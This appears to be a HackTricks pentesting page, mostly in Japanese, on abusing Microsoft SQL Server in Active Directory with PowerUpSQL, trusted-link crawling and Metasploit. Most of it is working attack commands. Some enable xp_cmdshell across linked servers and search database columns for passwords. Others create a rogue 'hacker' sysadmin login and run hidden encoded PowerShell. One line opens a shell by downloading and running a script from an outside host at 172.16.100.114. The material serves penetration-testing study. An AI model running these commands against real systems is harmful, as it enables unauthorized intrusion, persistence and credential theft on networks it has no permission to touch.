22 KiB
MSSQL ADの悪用
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- **ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリ**にPRを提出してください。
MSSQL列挙/検出
この場合、PowerUpSQLというPowerShellモジュールが非常に便利です。
Import-Module .\PowerupSQL.psd1
ドメインセッションなしでネットワークから列挙する
If you have network access to an Active Directory (AD) environment but do not have a domain session, you can still perform enumeration to gather information about the AD infrastructure. This can be useful for reconnaissance purposes or when conducting a penetration test.
以下の手法を使用して、ドメインセッションなしでネットワークからActive Directory(AD)環境の情報を収集することができます。これは、偵察目的やペネトレーションテストを実施する際に役立ちます。
Enumerating SQL Server Instances
MSSQLPing
The MSSQLPing
tool can be used to identify SQL Server instances on the network. It sends a UDP packet to port 1434 and listens for the response. This can help identify potential targets for further enumeration.
MSSQLPing
ツールは、ネットワーク上のSQL Serverインスタンスを特定するために使用できます。ポート1434にUDPパケットを送信し、応答を待ちます。これにより、さらなる列挙の対象となるポテンシャルなターゲットを特定することができます。
SQL Server Browser Service
The SQL Server Browser service listens on UDP port 1434 and provides information about SQL Server instances running on the network. By querying this service, you can obtain details such as the instance name, version, and TCP port number.
SQL Server Browserサービスは、UDPポート1434で待ち受けており、ネットワーク上で実行されているSQL Serverインスタンスに関する情報を提供します。このサービスにクエリを送信することで、インスタンス名、バージョン、およびTCPポート番号などの詳細を取得できます。
SQL Server Information Gathering
Once you have identified SQL Server instances, you can use various techniques to gather information from them. This includes querying the sys.databases
table to obtain a list of databases, querying the sys.tables
table to obtain a list of tables, and querying the sys.columns
table to obtain information about columns within a table.
SQL Serverインスタンスを特定したら、さまざまな手法を使用して情報を収集することができます。これには、sys.databases
テーブルにクエリを送信してデータベースの一覧を取得したり、sys.tables
テーブルにクエリを送信してテーブルの一覧を取得したり、sys.columns
テーブルにクエリを送信してテーブル内の列に関する情報を取得したりすることが含まれます。
Enumerating LDAP
LDAP Enumeration Tools
There are several tools available for enumerating LDAP information from the network. These tools can be used to query the AD directory and gather information about users, groups, computers, and other objects.
ネットワークからLDAP情報を列挙するためには、いくつかのツールが利用できます。これらのツールを使用してADディレクトリにクエリを送信し、ユーザー、グループ、コンピューター、およびその他のオブジェクトに関する情報を収集することができます。
LDAP Enumeration Techniques
Some common LDAP enumeration techniques include querying the rootDSE
object to obtain the default naming context, querying the userAccountControl
attribute to identify disabled accounts, and querying the memberOf
attribute to identify group memberships.
一般的なLDAP列挙の手法には、デフォルトの名前付けコンテキストを取得するためにrootDSE
オブジェクトにクエリを送信する方法、無効なアカウントを特定するためにuserAccountControl
属性にクエリを送信する方法、およびグループのメンバーシップを特定するためにmemberOf
属性にクエリを送信する方法があります。
LDAP Enumeration Scripts
There are also various scripts available that automate the LDAP enumeration process. These scripts can be useful for quickly gathering information about the AD environment.
LDAP列挙プロセスを自動化するさまざまなスクリプトも利用できます。これらのスクリプトは、AD環境に関する情報を迅速に収集するのに役立ちます。
Enumerating SMB
SMB Enumeration Tools
Several tools can be used to enumerate SMB information from the network. These tools can be used to query SMB shares, gather information about file systems, and identify potential vulnerabilities.
ネットワークからSMB情報を列挙するためには、いくつかのツールが利用できます。これらのツールを使用してSMB共有にクエリを送信し、ファイルシステムに関する情報を収集し、潜在的な脆弱性を特定することができます。
SMB Enumeration Techniques
Some common SMB enumeration techniques include querying the net share
command to obtain a list of shared resources, querying the net view
command to obtain a list of available servers, and querying the smbclient
command to interact with SMB shares.
一般的なSMB列挙の手法には、共有リソースの一覧を取得するためにnet share
コマンドにクエリを送信する方法、利用可能なサーバーの一覧を取得するためにnet view
コマンドにクエリを送信する方法、およびSMB共有との対話のためにsmbclient
コマンドにクエリを送信する方法があります。
SMB Enumeration Scripts
There are also scripts available that automate the SMB enumeration process. These scripts can be used to quickly gather information about SMB shares and identify potential vulnerabilities.
SMB列挙プロセスを自動化するスクリプトも利用できます。これらのスクリプトを使用して、SMB共有に関する情報を迅速に収集し、潜在的な脆弱性を特定することができます。
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo
#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10
#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
ドメイン内からの列挙
When conducting a penetration test or security assessment, it is important to gather as much information as possible about the target Active Directory (AD) environment. Enumerating from inside the domain allows for a deeper understanding of the AD infrastructure and potential vulnerabilities that can be exploited.
以下の手法を使用して、ドメイン内からの列挙を行います。
1. Active Directory Enumeration
Active Directory enumeration involves gathering information about the AD domain, including users, groups, computers, and other objects. This can be done using various tools such as net
commands, PowerShell scripts, or specialized enumeration tools like BloodHound
.
2. Service Principal Name (SPN) Enumeration
Service Principal Names (SPNs) are used to uniquely identify services running on computers in a domain. Enumerating SPNs can provide valuable information about the services available in the AD environment. Tools like setspn
can be used to enumerate SPNs.
3. SQL Server Enumeration
If SQL Server is running in the AD environment, enumerating SQL Server instances can provide additional attack vectors. Tools like sqlcmd
or mssql-cli
can be used to connect to SQL Server and gather information about databases, users, and other objects.
4. LDAP Enumeration
LDAP (Lightweight Directory Access Protocol) enumeration involves querying the AD directory for information about users, groups, and other objects. Tools like ldapsearch
or ADExplorer
can be used to perform LDAP enumeration.
5. SMB Enumeration
SMB (Server Message Block) enumeration involves gathering information about shared resources, such as file shares and printers, in the AD environment. Tools like smbclient
or enum4linux
can be used to enumerate SMB shares.
By enumerating from inside the domain, an attacker can gain valuable insights into the AD environment and identify potential vulnerabilities that can be exploited to further compromise the network.
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo
#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
MSSQLの基本的な悪用
データベースへのアクセス
MSSQLデータベースへのアクセスを得るために、以下の手法を使用することができます。
-
デフォルトのユーザー名とパスワードを使用する: MSSQLでは、デフォルトのユーザー名とパスワードが設定されている場合があります。これらの情報を使用してログインを試みることができます。
-
SQLインジェクションを利用する: アプリケーションがMSSQLデータベースに対してSQLクエリを実行する際に、不正な入力を注入することでデータベースにアクセスすることができます。
-
データベースの認証情報を盗む: サーバー上のファイルや設定からデータベースの認証情報を盗むことができます。これには、構成ファイルやログファイルの調査が含まれます。
-
データベースの脆弱性を悪用する: MSSQLデータベースには、脆弱性が存在する場合があります。これらの脆弱性を悪用してデータベースにアクセスすることができます。
-
データベースのバックアップファイルを利用する: バックアップファイルには、データベースへのアクセスに必要な情報が含まれている場合があります。これらのバックアップファイルを利用してデータベースにアクセスすることができます。
以上の手法を使用して、MSSQLデータベースへのアクセスを得ることができます。ただし、これらの手法は合法的な目的のためにのみ使用されるべきです。
#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"
#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
# Search keywords in columns trying to access the MSSQL DBs
## This won't use trusted SQL links
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize
MSSQL RCE
MSSQLホスト内でコマンドを実行することも可能かもしれません。
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
MSSQL基本的なハッキングトリック
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}
MSSQL信頼されたリンク
もしMSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合、ユーザーが信頼されたデータベースに特権を持っている場合、彼は他のインスタンスでもクエリを実行するための信頼関係を利用することができます。この信頼関係はチェーン化されることがあり、ユーザーはいくつかの設定ミスのあるデータベースを見つけることができるかもしれません。
データベース間のリンクはフォレストトラストを超えても機能します。
Powershellの悪用
#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose
#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'
#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"
#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'
#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"
#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"
#Manual trusted link queery
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check it
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
Metasploit
Metasploitを使用して、信頼できるリンクを簡単にチェックすることができます。
#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
metasploitはMSSQLでopenquery()
関数のみを悪用しようとします(したがって、openquery()
でコマンドを実行できない場合は、コマンドを実行するためにEXECUTE
メソッドを手動で試す必要があります。詳細は以下を参照してください。)
手動 - Openquery()
Linuxからは、sqshとmssqlclient.pyを使用してMSSQLコンソールシェルを取得できます。
Windowsからは、HeidiSQLのようなMSSQLクライアントを使用して、リンクを見つけてコマンドを手動で実行することもできます。
Windows認証を使用してログイン:
信頼できるリンクの検索
select * from master..sysservers
信頼できるリンクでクエリを実行する
リンクを介してクエリを実行します(例:新しいアクセス可能なインスタンスでさらにリンクを見つける)。
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
{% hint style="warning" %} ダブルクォーテーションとシングルクォーテーションが使用されている場所を確認してください。その方法で使用することが重要です。 {% endhint %}
これらの信頼されたリンクチェーンは手動で永遠に続けることができます。
# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
# Second level RCE
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')
もしopenquery()
からexec xp_cmdshell
のようなアクションを実行できない場合は、EXECUTE
メソッドを使用してみてください。
マニュアル - EXECUTE
EXECUTE
を使用して、信頼されたリンクを悪用することもできます。
#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
ローカル特権昇格
MSSQLローカルユーザーは通常、**SeImpersonatePrivilege
**と呼ばれる特別な特権を持っています。これにより、アカウントは「認証後にクライアントをなりすます」ことができます。
多くの著者が考案した戦略は、システムサービスを強制して、攻撃者が作成した不正なサービスまたは中間者サービスに認証させることです。この不正なサービスは、システムサービスが認証しようとしている間に、システムサービスをなりすますことができます。
SweetPotatoには、これらのさまざまなテクニックが収集されており、Beaconのexecute-assembly
コマンドを介して実行することができます。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンを入手したいですか?または、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- **ハッキングのトリックを共有するには、hacktricks repoとhacktricks-cloud repo**にPRを提出してください。